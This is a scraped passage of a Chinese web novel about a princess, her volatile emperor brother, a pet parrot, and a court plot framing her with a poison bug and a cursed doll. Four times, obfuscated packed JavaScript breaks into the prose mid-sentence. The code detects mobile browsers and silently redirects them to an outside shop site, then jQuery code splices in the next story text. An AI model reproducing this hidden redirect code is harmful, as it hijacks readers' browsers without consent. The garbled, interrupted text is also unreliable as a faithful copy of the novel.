;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720478|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样骂人。 角落里的若桃听到这句,“嘿!”了一声。 那鹦哥扭了扭头,扑腾着翅膀。安玥看了觉得新奇,“咄咄,你还会跳舞呢。” 咄咄没说话,扑腾了两下绿色的翅膀。 安玥纳罕地看着它,明明鹦哥做不出表情,可安玥总觉得它神情透着一股得意。 笼子打开,它便停在安玥肩头,娇矜地蹭蹭安玥的脸颊。 安玥伸出一根玉指轻轻摸着咄咄的脑袋。揉了片刻,方察觉到不知何时站在门口的咪儿。 他似是未见着自己,不经意从她身侧经过。安玥蹲下身,将他拎起。 咄咄察觉主人心思飘到旁处,盯着安玥手里的狸奴,背上羽毛炸开。 “傻瓜,傻瓜。” 曲闻昭冷冷看了咄咄一眼,往安玥怀里钻了钻。未防那鸟得寸进尺,竟扑腾翅膀径直飞到他背上,用喙啄他背上的毛。 他一时不察,后颈生疼,竟真被它啄了几撮毛下来。他目色生寒,寻好时机,反手钳住那鸟的脖子。 咄咄剧烈挣扎起来,口中发出尖锐的叫声。 安玥哪见过这阵仗,吓了一跳,彻底歇了让猫鸟和睦相处的心思。 “咪儿,你快收手,咄咄要被你掐死了。” 曲闻昭手上力道却分毫未松。自然是要掐死,否则他掐它做什么? 这鸟一而再再而三挑衅自己,他能忍到现在,已是大发慈悲。 安玥急了,拍了下咪儿的臀。咪儿爪子一松,咄咄摆脱了桎梏,狼狈地逃回鸟笼里,自己把笼子合上了。 挣扎间羽毛还掉了好几根。 安玥收回手,正触上咪儿幽冷的眸子。她手一抖,险些把咪儿摔下去。 她不怎的有些心虚,摸了摸咪儿的头,“我没有偏袒它。它啄你是它不对,但你也不能直接把它掐死。” 咪儿嘴角后咧,胡须亦是紧绷,像极了在冷笑。 安玥抬头见咄咄躲在笼子里,一副被吓惨了的样子,刚要出口的指责又被她尽数咽了下去。 安玥把咪儿抱紧了些,哄道:“好了好了,它知道错了的。以后我不逼你同它相处了,好不好?” 曲闻昭爬在她怀里,面色并未缓和多少。 安玥朝外边的若桃使了个眼色。若桃赶进来安抚惊着了的咄咄,安玥抱着咪儿出去。她让人取来咪儿最喜欢的鱼干,可咪儿却嗅都不嗅一下。 安玥想起咪儿似乎亥时后都不大吃东西。只得把咪儿抱在怀里,轻轻揉他肚子。 天气热,夜里牖页是开着的,偶有凉风进来。安玥抱着咪儿上了榻,哼着摇篮曲。是母妃教的那首。 咪儿闭了眼,在她怀里寻了个舒服的姿势不动了。 第二日,安玥照常请安。 “陛下,公主求见。” 曲闻昭朝窗外看了一眼,见少女站在银杏树下。发髻用紫藤色的发带束起,一双狐狸眼睛最是明亮,鸦长的羽睫间或一颤,像是枯骨中开出的花。 “让人进来。” 与以往不同,这回她进殿时,手里提着只金笼,里边站着一只鹦哥,头灰身绿。 她屈指弹了下鸟笼,那鹦哥口吐人言,“皇上吉祥!皇上吉祥!” 曲闻昭难得的抬了抬眼,看见安玥眼底的自得。他薄唇微扯,是极冷的弧度。 胡禄在边上看着,笑道:“鹦哥成精了。” 27. 第 27 章 安玥将那金笼打开。咄咄飞到曲闻昭桌案上,舞动着翅膀跳起舞来。 胡禄面上笑容一僵,看着那鹦哥越跳越欢,他后背起了层冷汗,小心翼翼觑了眼陛下。 谁人不知,陛下最恨有人在他面前跳舞。便是畜生也不行。 便见曲闻昭坐在矮榻上,目光闲闲得从鹦哥身上掠过,掠到安玥身上,“它在做什么?” 安玥莫名觉得皇兄声音有些冷,她拍了拍鸟笼,想让咄咄回来。哪只这畜生跳欢了,就差没蹦到曲闻昭脸上。 曲闻昭屈指,在桌案上轻轻扣了一下。桌上的鹦哥收了翅膀,一双眼睛与曲闻昭对视。下一秒曲闻昭伸手抓来,那鹦哥被吓到,慌乱间咬了一口曲闻昭的虎口。 安玥看得心惊肉跳,四周侍从见此情形俱是跪了一地,“陛下息怒。” “皇……皇兄。” 咄咄趁着眼前这个可怕的男人松懈的功夫,挣脱开来,乳燕投林般飞到安玥肩上。它一开始还有些哆嗦,见曲闻昭没追过来,以为他是怕了,浑身羽毛蓬起,在安玥肩上跳了两下,还挥了挥翅膀。 曲闻昭抬起目光,眼里没了笑意,他神色一点波动也无,却令人如坠冰窟,“先帝殡期未满,这鸟却公然舞乐,该当何罪?” 咄咄陪了她这般久,她自然不舍得它死。她宁愿自己受点罚。 可可能么? 安玥面色苍白,不敢说话。 曲闻昭未说话,轻飘飘看了一眼殿外。 安玥见此情形,哆哆嗦嗦将鸟护在怀里,“皇兄息怒,它不是有意的。” 曲闻昭盯着她,眸光微沉。 候在外面的羽林卫阔步进殿,“公主,您莫要让属下为难。” 安玥面色哀求地看向曲闻昭,眼见他不为所动,竟当机立断抱着鸟向殿外跑去,她松开手,“快跑!” 咄咄察觉形势不对,扑腾着翅膀飞远了。羽林卫见此情形便要去追,安玥硬着头皮朝桌案后的人跪下,“皇兄,这莺哥是姑母所赠,还望皇兄看在姑母的面上,饶它一命。” 曲闻昭朝四周看了一眼,左右侍从顷刻间起身退下。 殿内陷入死寂。 安玥跪在地上,见桌案后的人站起,一步步朝这边走来。 她数着脚步,感觉到皇兄走近了,在她面前停下,高大的影子黑压压的笼在她身上。 安玥低着头,眼神飘忽。紧接着她觉得下颌一凉,一只手将她下巴抬起。她被迫与头顶的人对视。 “皇……皇兄。” 曲闻昭勾起唇角,眼底却无笑意,“一只鸟而已,这般重要?” 安玥脊背被带得有些发僵,连忙摇头,“不是!” “皇兄,安玥一时疏忽,未想到这些。若是安玥知道会让皇兄不高兴,必然不会把鸟带来。” 她进退有度,该示弱时仍是平日里那副人畜无害的样子。曲闻昭盯着她苍白的脸,轻轻笑了声。可他还是不高兴。 殿外传来脚步声。 曲闻昭将地上的人拉起。 过了片刻,御医拎着药箱在殿外站定,行礼,“微臣参见陛下,参见公主。” “东西放着,退下吧。” “陛下,可要……” “退下。”曲闻昭重复了一遍,语气不复先前那般有耐心。 御医动作僵了瞬,不知怎得后背冒气一股寒意。他放轻了脚步,将手中东西放下,躬身退了出去。 安玥吓了一跳,又要跪,头顶的视线轻飘飘落回她身上,“妹妹起来说话。” “谢皇兄。”先前跪那一下太过用力,安玥膝盖还有些发麻。她看着案上的药箱,道:“安玥帮皇兄上药吧。” 曲闻昭坐回矮榻上,提笔的手一顿,尚未答复,便见安玥已上前打开药箱。 看着她熟练地将药膏取出,曲闻昭睇了她一眼,并未阻止。 安玥用指腹沾了些透明的药,一只手试探性地抓住曲闻昭的手,用帕子将虎口周围的血拭净,轻轻将膏药涂在伤处。 月牙状的伤口还渗着血,血液渗进虎口间的掌纹,瞧着尤为可怖。 安玥轻轻吹了吹,“疼吗?” 曲闻昭觉得被指腹触碰到的伤处有些痒,这阵凉风缓解了那股痒意,却又觉得有什么东西在心口拂了下。 他没说话。 她见曲闻昭不说话,语气试探:“皇兄在生我的气吗?” “安玥只是想和皇兄亲近,没想到会弄巧成拙,惹皇兄不开心。皇兄可以不要生气吗?” 曲闻昭终于抬眼,语气含笑:“你为何会想与我亲近?” 安玥梗了一下。 自然是因为想日子好过些。 她没敢把这句话说出来,只道:“因为皇兄是我为数不多的亲人了。” 这话也不假。 她的兄长都死绝了,便只剩这一个了,偏生还是个阴晴不定的,不知什么时候就会让她小命不保。安玥忽然觉得鼻子有些泛酸。 亲人。曲闻昭在心里咀嚼着这两个字,鬼使神差地伸出一只手,摸了摸安玥的头。便见有一滴泪珠滚了下来,滴在他的手背上。 他怔了下,看了眼一旁的安玥,见她把头扭了过去,只留了个后脑勺给他。 “妹妹哭了吗?” 她声音有些闷闷的,“没有。” 曲闻昭忽得一笑,伸手擒住她的下巴,将她的脸转了过来。 二人离得极近,近到连她的眼睫都能看得根根分明。她身后是一座连枝灯,灯烛烧着,暖黄的光辉沾在她的眼睫上。 她眼眶还有些泛红。 他指腹轻轻擦干她眼角泪痕,指尖沾到一抹湿意。他的手顺着她的面颊往下,停在脖颈处。脖颈纤细,就像花枝般,只需轻轻一折便会断掉。 虎口不轻不重搭在上面,指腹感觉到她跳动的脉搏。微弱,却彰示生机。 曲闻昭语气玩笑,透着温和,“被咬的是我,妹妹哭什么?” 安玥眨了眨眼睛,把眼里那股泪意压下去,睁着眸子看他,“妹妹心疼皇兄。” 曲闻昭松开手,笑道:“骗子。” 安玥面靥泛红,手忙脚乱要去找帕子,一只素白的锦帕递了过来。 她怔了怔,如实道:“是皇兄那个动作让安玥想起哥哥。他以前也会摸安玥的头。” “为何你管大皇兄叫哥哥,叫我却是皇兄?” 若不是曲闻昭问,安玥都未察觉到这点。 “大抵是习惯了?众多兄弟姊妹中,除了太子哥哥,与安玥最亲近的便只有六皇弟了……”她话落,觉得头皮有些发麻,忙不迭又补了句:“好在如今又多了个皇兄。” 六皇弟曲留璋。曲闻昭想起来,他这弟弟似乎是安昭容所出,因天生患有腿疾,又鲜少外出,这些年在宫中湮没无闻,少有人注意。 曲闻昭把药瓶递给她,“妹妹膝盖受了伤,用药好得快些。” 安玥忙把瓷瓶接过,“多谢皇兄!安玥就知道,皇兄大人有大量,不会同一只鸟计较!” 她哄起人来时,沾了蜜的话便和不要钱一般往外冒,夸得人晕头转向忘了动作。 若只是娇生惯养,养不出她这样的性格来。 安玥前脚离开,羽林卫提着一只鸟进来。正是咄咄。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734107|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下,这鸟如何处置?” 曲闻昭将笔搁下,“拿近些。” 那侍卫道了声是。胡禄将鸟笼接过,轻轻放在桌案上。笼子里的鸟恹恹的,看到曲闻昭的一瞬间,又忍不住破口大骂:“傻瓜!傻瓜!” 胡禄倒吸一口凉气。 曲闻昭眉头轻轻挑了下,面上不见息怒,“拔光毛烤了吧。” “是。” 侍卫甫一提起笼子,原本躲在笼里瑟瑟发抖的鸟突然剧烈挣扎起来。 “杀鸟啦!杀鸟啦!”它喊完这两句,见没人来救它,当即换了副嘴脸,“皇上吉祥!皇上吉祥!” 它声音全然不见先前骂人那般中气十足,语调也变了,让曲闻昭想起安玥。这句话一听便知是他那好妹妹教的。 曲闻昭抬了抬手,侍卫又把鸟笼放了回来。他伸出一只手,轻轻抚上咄咄的后颈,笼里的鸟没再扑腾,收了翅膀乖巧地呆在笼子里,鸟头蹭了蹭曲闻昭的手心。 曲闻昭伸出食指,到咄咄嘴边。胡禄在边上看得心惊胆战,就要劝阻。见笼里的鸟张开齿喙,就要咬下去,却不知怎的收了力道,待曲闻昭收回手,手指上只留有一个淡淡的齿印。 曲闻昭低低笑了声,“送回去吧。” 咄咄听到“回去”二字,又活过来般,“皇上吉祥!皇上吉祥!” * 镜烛宫。 安玥看着被送回来的咄咄,面上一喜,扭头吩咐清栀递了袋银子给那羽林卫,“劳烦小兄弟跑一趟,替我谢过皇兄。” 那侍卫见推脱不掉,将荷包收下,“属下一定带到。” 安玥看着笼子里的咄咄,吩咐人备食。 笼里的咄咄似是饿得狠了,将勺里的鸟食啄得飞快。 安玥愣了下,赶紧又舀了勺谷子喂给它。清栀见状,在一旁劝道:“够了够了,公主,您再喂它要撑死了。” 这话一出来,安玥本以为咄咄又要破口大骂了,却不想它今日安静得很,只一个劲的进食。 瞧着有些蔫蔫的。 清栀纳罕道:“出去一趟,怎得变乖了?” “不知道。”安玥忍笑,“大抵是飞累了。” 她把鸟勺放下,伸手摸了摸咄咄的脑袋。 晚些时候,安玥用过膳,坐在池塘边喂鱼。 头顶是漆黑的夜,繁星点点。天边群山连绵,再靠近些,是琼楼玉宇。 金殿错落有致,流苏宫灯环绕其间,庭燎烧空。 柳树上挂着灯笼,光晕投在清澈的水面上,如同一轮明月,时而有游鱼闯过,将其搅碎。 安玥手上用帕子包着点心碎,往池塘里一撒,肥硕的鲤鱼争先恐后地游了过来,将鱼食分个干净,又一窝蜂散开。 曲靖溪站在不远处看着,面色发沉。因多日卧病,原本面上的五花肉此刻也黯淡下来。 贱人,若不是她,母妃怎么会被送去守皇陵,孤零零地病死。皇姊又怎会被送去宗人府软禁,至今都没被放出来。 他又怎会被皇兄责罚! 他恶向胆边生,缓缓向那头靠近。 安玥看得专注,连身后有人靠近都未察觉,直到水面上突然出现一道黑影。 她尚未回神,那黑影骤然压下。安玥只觉背上一痛,一道力道将她往池中推去,与此同时身后传来人声:“贱人!去死吧!” 安玥心下一凉,她的头几乎要触到水面。一只手从身后勾住她衣袖,她大半只脚悬空,整个人被生生卡在半中间。手中的帕子也掉进池子里。 她声音在抖,“别……别松手。” 身后的人似是在笑:“妹妹求求我呢?” 28. 第 28 章 安玥听到熟悉的嗓音,一口气未松到底,脚下一软,重心不稳,眼看就要跌下去,身后的人该拉她的手臂,将她扯了回来。她跌撞一人怀里。那人朝后退了两步,好在并未松开她。 安玥几乎大半力气都靠在曲闻昭身上,惊魂未定,整个人死死拽着他的手臂,抓着救命稻草似的。 好在对方没有要再往后退的意思,只是好整以暇等她缓过来,“惊着妹妹了。” 她看了眼四周跪了一地的侍从,有些窘迫,往后退了两步,“多……多谢皇兄。” 夜色宁静,角落忽得炸起一声喊叫:“放开我!放开我!” 安玥心有余悸地扭过头,见曲靖溪同一只野兽般被宫人大力制住。安玥见着这“罪魁祸首”,双目要喷出火来,她深吸一口气,眼前发花,又跌了回去。 曲闻昭抬手将人扶住,淡声吩咐:“来人。七皇子谋杀长姐,违伦悖法,打入天牢,听候发落。” “是!” “我不去!”曲靖溪一听要被关进漆黑的牢里,登时怕了,“皇兄!我不去!”眼看着自己被人拖走,却挣脱不得,他急得几乎要哭出来,“皇兄,求求你饶了我吧!都是臣弟的错!” 他嚎得嗓子发哑,曲闻昭抬了抬手。穿着甲胄的侍卫松开力道,曲靖溪连滚带爬过来,就要去拉曲闻昭的衣角,却不防曲闻昭早有准备般,冷冷避开。他哆哆嗦嗦又要去求安玥,头顶一道目光扫了下来,是毫不掩饰的寒意。 他因上回一事,本就惧极了曲闻昭。眼下看懂了这眼神,连忙将手缩回。生怕收得慢了,便会被皇兄剁下来。 曲闻昭看了怀中的人一眼,“你想如何处置?” 安玥缓过了气,抖得没那么厉害了,看了地上的人一眼。 曲靖溪面无人色,连滚带爬向她磕头,“皇姊,皇姊你饶过我吧!都是臣弟的不是,臣弟只是想同你开个玩笑!” “开玩笑?”安玥磨了磨后槽牙,盯着地上的人,险些气得说不出话来。一只手擒住她下颌,将她头扭了回去。 那张熟悉的脸近在咫尺。安玥眼底怒意僵了瞬,不经意想后退,放在腰上的手将她往前带了带。她卡在了一个极为暧昧的位置,一时进退不得。 “怎么处置?” 安玥生怕又是局,毕竟曲靖溪的舅舅还在地方做节度使。虽不是大官,但也是握有实权的。 她勉强笑笑,“皇兄做主便是。” 曲闻昭一眼看出她在想什么,“送入慎刑司。” 慎刑司是什么地方?好好的人竖着进去,不出半个时辰,只能半身不遂躺着出来。 曲靖溪彻底慌了,“皇兄!皇兄!我是皇子啊,真龙血脉!你不能这么对我!“ 他还要挣扎,却被人捂住了嘴。 安玥看着那道肥胖的身影被一路拖着,直到消失在宫道尽头,心不知怎得突突直跳。 曲闻昭低头看她:“在做什么?” 安玥抖了下,匆匆收回思绪,“喂鱼。”她抬起目光,“皇兄要一起吗?” 安玥已做好准备,皇兄必然会拒绝。 曲闻昭语气淡然,“好啊。” “既如此,今日之事多谢皇兄。若有机会,臣妹必好好答谢。” 她话落,未等到身前的人离开。安玥怔了下,终于反应过来皇兄说了什么。 周遭气息静止了般。 她浑身僵住,嘴巴张了又张,一句话也说不出。 曲闻昭好整以暇欣赏她这幅神情。 安玥手里的鱼食已经掉下去了,她也不恼,从树上折了段柳枝下来,蹲下身,将青绿的柳枝放在池子里轻轻拨了两下。 不出多时,几只鱼追着柳条游了过来。眼看鱼越聚越多,安玥微微侧目看了曲闻昭一眼,有些自得。 曲闻昭笑了声,“这是做什么?” 原本聚来的鱼因为这一声惊扰,一哄而散。安玥要捂他的嘴都来不及。 她有些恼了,又不敢发脾气,就着昏暗,颇有些幽怨地瞪了池子一眼。 却不知她这点情绪变化被曲闻昭尽收眼底,“妹妹喜欢鱼,全都捞上来便是。” 安玥没了脾气,“不用了,原本是想让皇兄看着有趣,皇兄不喜欢便罢了。” 他将柳枝从她手里抽过,上面还残有温热。枝条在水面晃了片刻,几只鱼儿再度围了上来。 “这样?” 皇兄似乎学什么都是极快的。 安玥坐在池边,看着池里的鱼,点点头。她微微侧目,月光下,那张本棱角锐利的侧颜在白霜下有些柔和。 玉冠束发,长衫垂下。此刻指间捻着柳枝轻晃,那双寒潭似的眼眸似有波光。 水月观音水月明,只将慈眼视众生。 他察觉到身侧目光,转头看她。安玥错开眼,他只是微微一笑:“夜色渐晚,妹妹早些休息。” 皇兄虽戏弄她,但接连几次帮她也是真。 安玥起身,语气多了几分真心,“今夜多谢皇兄。”她见人离开,福身行礼,“恭送皇兄。” 眨眼夏日一过,天儿又转凉了些。 清早安玥起身,宫中却来了名小童。是国师身边的人。 印象里,这位国师已至不惑之年,深居简出,常年待在瞻晷阁。怎会突然来找她? 那小童进来,跪下行礼,“参见公主。” “免礼。”安玥让人看座,“国师大人命你过来,所为何事?” 小童不敢坐,恭敬道:“与国运有关,可否与公主单独说?” 安玥料到国师突然派人前来,应是有要事,点点头,屏退左右,只留了清栀在侧。 “公主恕罪,是大人想借公主的血一用。” 若桃听见这声,怒目圆瞪,“岂有此理,公主玉体金贵,岂能……” 安玥侧目看了眼若桃,止住她话音,问那小童:“这是为何?” 小童压低了声音,“是大人这几日夜观天象,恐有帝星飘摇之象,算其原因,是先帝星运未散,两星相争。” 国师是本朝位高权重之人,说出的话本就带有极重的分量。 安玥面色微变,又看了眼窗户,确定外边无外人在,“那可如何是好?” “公主放心,只需国师开坛作法。公主与先帝血脉相连,先帝生前又与公主最为亲近,故而要借公主一滴血,辅助法事进行。” 安玥有些犹豫。但此事事关重大,她在宫中本就地位尴尬,若是不配合,怕是落人口实。她咬了咬牙,让清栀取针来。小童从袖中取出只瓷瓶递给清栀。 当着外人的面,安玥不好意思表现得太害怕,又有些晕血,不自觉把身子坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739423|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直了些,头扭到一边。 银针扎破食指,安玥没忍住抖了下,一滴血顺着指尖滴入瓶中。 主仆二人对视,清栀将瓷瓶递给地上的人。 安玥问:“够了吗?” 那小童往瓶中看了眼,点头,“这么些便够了。多谢公主。” 他又从衣襟处取了只黑色的木盒出来,“还劳烦公主将此物放在床底,三日后再打开。” 清栀将东西接过,安玥神色淡淡,“本宫知道了。” 眼看着人终于出去,安玥才没忍住对着手指吹了吹。 清栀心疼道:“奴婢给您包扎下吧。” 安玥看了眼指腹上的红点,“罢了,等包完都愈合了。” 过了片刻。安玥:“可是好痛。你给我讲个故事?” 清栀面露难色,“奴婢不会,奴婢让若桃来吧?” “罢了。” 她伸手把那只乌木盒接过,看清上面暗红的符文,有些好奇,“不知里面装的什么。” “公主可要打开看看?” 安玥摇摇头,“国师说要三日后才能打开。早知道便问一句了。”她把木盒递给清栀,“放到床底下去吧。” “是。” 天色渐暗。夜风破开窗户,吹动纸页哗啦作响。案后的人轻轻咳了两声,未抬头。 “陛下,可是旧疾又犯了?奴婢帮您把窗合上吧。” “嗯。” 祺昭容在怀他时,被人下毒,好在祺昭容福大命大,顺利将他生出来,但也导致曲闻昭出生时便体弱。后来年岁渐长,病症渐渐好了。只是天儿一凉,头疼咳嗽的毛病便又犯了。 胡禄语气试探:“陛下,含凉殿临水,风又大,不若搬到紫宸殿去?” 曲闻昭目光凉了瞬,没说话。 过了阵,侍婢端着药进来。有人拿银针试了毒,又有药童试过,胡禄方递给曲闻昭。 曲闻昭端起药碗,下一刻觉得指尖微痛,紧接着是一股细密的痒。他眉心微蹙,几乎是一瞬间看清爬在指尖的黑虫。 胡禄大惊失色,飞快上前来将那虫抓走。未死的黑虫还在他指尖挪动着脚。 “宣御医!” 送药的婢女似是未料到这一幕,连忙跪下。 胡禄脸色发白,“陛下,您可觉得难受。” 曲闻昭看着渗血的指尖,用帕子将血拭净。他站起身,朝地上的人走去。 宫娥跪在地上,察觉到有一道漆黑的人影投来。她面色惨白,抬起头,见一双漆黑的眸子居高临下看着自己。 “谁派你来的?” 宫娥慌忙磕头,声音带了哭腔:“奴婢冤枉!” 他看了眼殿外,朱红的殿门半开。他只看到漆黑的夜,两盏飘在檐下的宫灯。 “去狱里滚一圈,或许就不冤枉了呢?来人。” 一阵风吹过,宫娥浑身一颤,双臂被人大力拉扯着拖出去。 “奴婢说!奴婢说!” 曲闻昭抬了抬手。 宫娥通红着眼,浑身发颤,“是安玥公主要奴婢这么做的。” 安玥。 曲闻昭盯着地上的人,笑了,“为何?” 宫娥连连磕头,“是公主说,陛下对公主动了杀心,才派奴婢过来。奴婢也是奉命行事,陛下饶命!” 29. 第 29 章 曲闻昭唇角微牵,意味不明道:“你知道的倒是清楚。拖下去。” 殿外传来凄厉得惨叫:“陛下!” 御医踩着这惨叫,气喘吁吁跑来就要行礼,被胡禄打断,“哎呦,快给陛下看看吧。” 王延替曲闻昭摸了半天脉象,战战兢兢跪下,“陛下,微臣无能,摸不出陛下所中何毒。” 曲闻昭揉着眉心。先前被那宫娥一喊,他头还有些疼。 胡禄白着脸色,把手里的黑虫递给王延,“陛下适才就是被这虫咬伤。” 王延从袖中取出一块帕子,将黑虫接过,面色微变,“这……微臣没看错的话,应该是一种蛊虫。” 曲闻昭掀开眼皮子看他,生出几分兴趣:“什么蛊?” 王延抬起衣袖擦了擦额心渗出是虚汗,“暂时不知。陛下恕罪,可否给臣半宿时间,容微臣翻阅古籍查一下?” “依你看,孤如今是中蛊了么?” “蛊虫未入体,应是没有。但还需观察。” 胡禄在边上听着,一身僵起的五花肉终于松了下来。 “此事便交给你。但蛊虫在你手中一事,不得声张。” 王延躬身,“陛下放心,微臣明白。” 胡禄看着人出去,“陛下,夜深了,可要休息了?” 曲闻昭捻了捻破了的指尖,掐出一滴鲜红的血珠,深潭般的眼底洇开一抹笑意,连带着眼尾染上不自然的殷红。 “这帮人想杀我,倒是绞尽脑汁。难为这帮人肯费心思。” 胡禄后脊生凉,“陛下,此事不是公主做的吗?” “不像。” 他这妹妹胆小如鼠,知道他要杀她,怕是躲还来不及。 “但也不一定。”那样的话,就更有意思了。 他没了睡意,“试探一下便知道了。” 天快亮时,王延再度入殿。 “查出来了?” “陛下,此蛊名唤傀儡蛊,中蛊者需听命于下蛊之人,否则就会觉得体内有千万根针扎般疼痛,直到五脏爆裂而死。” 胡禄跺脚:“贼人好生恶毒!那陛下如今……” “陛下放心,若要喂养此蛊,需要用到陛下血亲之血。此次应是贼人未能了解施蛊要诀,用成了自己的血,是以未能得逞。” 曲闻昭坐在榻边,脑中似有什么一闪而过。良久,他似是发现了什么有趣的东西,坐直了身,“若用了血亲之血,便一定能成吗?” “此蛊极毒,遇血便会顷刻间钻入皮肉,快到几乎让人无知无觉。十有八九逃脱不得。” 曲闻昭无声笑了下,未在这个问题上纠结下去,“中了此蛊,会有什么病症?” “初时浑身乏力,从双腿开始,待到一定时间,便不能下床,直到完全瘫痪,口不能言,变为行尸走肉。自此,施蛊者可开始控制中蛊者。” “那明早便传出消息,说孤染了风寒,罢朝一日。” 胡禄反应过来,“奴婢明白。” “传国师过来。” 清晨第一抹光亮起时,身披金袍的男子踩着汉白玉丹陛,缓缓步入殿中。 他放下帽子,露出银白的头发。与满头白发截然相反的,是那张脸。年至四十,看着却像是三十岁的人。 “陛下。” 殿门缓缓合上,曲闻昭支着床起身。 “国师大人。” 他半张脸隐没在帘后。借着斜照入殿中的日辉,国师看见新帝苍白的面色,被日光照得近乎透明。一缕漆黑的发自然垂下,配合微微泛红的眼尾,平白生出几分妖冶。 分明是病态,却依旧让人觉得危险。 “孤昨夜起突然觉得浑身乏力,太医无用,便想请你看看。” 国师面色微惊,“陛下可否容微臣看看。” “嗯。” 国师走近了些,抬手做了个手势,指尖在曲闻昭眉心点了下,“陛下可会觉得,时而心悸,呼吸急促?” “嗯。国师可看出来了是什么病?” 国师眉心蹙起,“陛下这可能不是病,是中了巫术?” “巫术?”曲闻昭垂了下眼,“要如何解?” “解铃还须系铃人,若要解,还是要找出施术之人。” “那依你看,这施术之人在何方?” 国师阖上双目,从袖中取出一只罗盘,口中念咒。下一刻,他抬手一晃,罗盘的指针调转了方向。 “西南,灯烛璀璨处。” * 安玥坐在院中,百无聊赖转着篮子里的干花,听到外面传来动静。 她怔了下,起身。 “参见公主。” 安玥看清来人,眼皮忍不住跳了跳,“林统领,有何贵干?” “陛下中巫蛊之术,属下奉命前来搜宫。还望殿下行个方便。” 安玥虽对此举不满,但知晓事关重大,又见林敬带来的多是女侍卫,不想生事,“可以。” “多谢公主。” 她看着一群人乌压压进去,心不知怎的跳得快了些。她心念微动,想到什么,面色白了几分,未来得及动作,便听屋内传来声音,“找到了!” 她循声看去,见一名侍卫手里拿着那只乌木盒朝这边大步走来。 林敬接过那枚盒子,眉心微蹙,“殿下可否解释一下,这里面装的是什么?” 安玥终于看清盒内东西,率先占据脑海的不是好奇,而是害怕。 只见盒子里躺着一只奇丑的人偶,浑身刺满银针。 无需细看便知道,这必然不是什么好东西。 她虽心惊,但未失了理智:“这不是我的,我要见皇兄。” “公主,臣冒犯了。此事未查清之前,殿下怕是不能出宫。” 清栀听到这话,亦知是有人陷害,“这东西是国师给公主的,公主并不知这是什么东西。” “若是如此,还望殿下委屈几日,待此事查清,再还殿下清白。” 安玥眉心微蹙,“我没有理由……”她话至一半,生生顿住。 她有。 安玥心中涌起一股深深的无力感,“本宫知道了。” 殿门重重合上,宫内之人被这架势吓到,俱是低着头不敢说话。 安玥看着朱红的殿门,面色苍白。直到手上传来温度,是清栀牵住她的手。 “公主别怕,此事疑点甚多,陛下必会查清。” 安玥苦笑,但愿吧。 只是她与国师无冤无仇,国师为何要害她?还是说,他想害皇兄,嫁祸于她。 可为何偏偏是她? 乌压压的羽林卫退了出去,院中如同被车马轧过般,透着股凌乱萧瑟之气。 暮色四合。 安玥暂时从慌乱中抽离出来,却听若桃匆忙来禀:“公主,奴婢刚刚得到消息,陛下病重,昏睡不醒。” “什么?”安玥捏着茶盏的玉指下意识蜷了下,“你是如何得知此事?” 若桃压低了声音,“此事本被压下来,是胡公公有位干儿子叫晋德,与奴婢有些交情,偷偷透露给奴婢。” 这么大的事,能让若桃以这种方式知晓,说明本身就瞒不住了。 这个关头,皇兄若是出事,她便只能沦为替罪羔羊。 安玥强迫自己冷静下来。 安玥第二日是被冻醒的,醒了方见是屋子里的炭火燃完了,却没人来添。 她推开殿门,扑面而来的是一股寒意。清晨的风要将人骨头刮一层下来。 她在殿内坐了会,也没人来伺候梳洗。只得自己坐在妆镜前扎了只辫子。甫一出门,便见若桃一脸恚色,从外边回来。 她双手冻得通红,一个劲的搓着。见着公主,急忙忙跑过来,“公主,您怎得起来了?” 安玥让人进来,把门关上,问:“怎么了?” 若桃恨声:“司寝局送来的炭火比先前少了大半,奴婢今早去要炭,那些人除了搪塞,半点说法给不出来。还说……”她咬了咬下唇,没说下去。 还能说什么,无非说她失了圣心,又犯下这样的事。离死也不远了,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741364|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那炭也是浪费。 “罢了。”安玥对这个结果早有预料,“对了,清栀呢?” 若桃面上情绪一僵,垂着头没说话。 安玥心跳得快了几分:“可是出了什么事?” 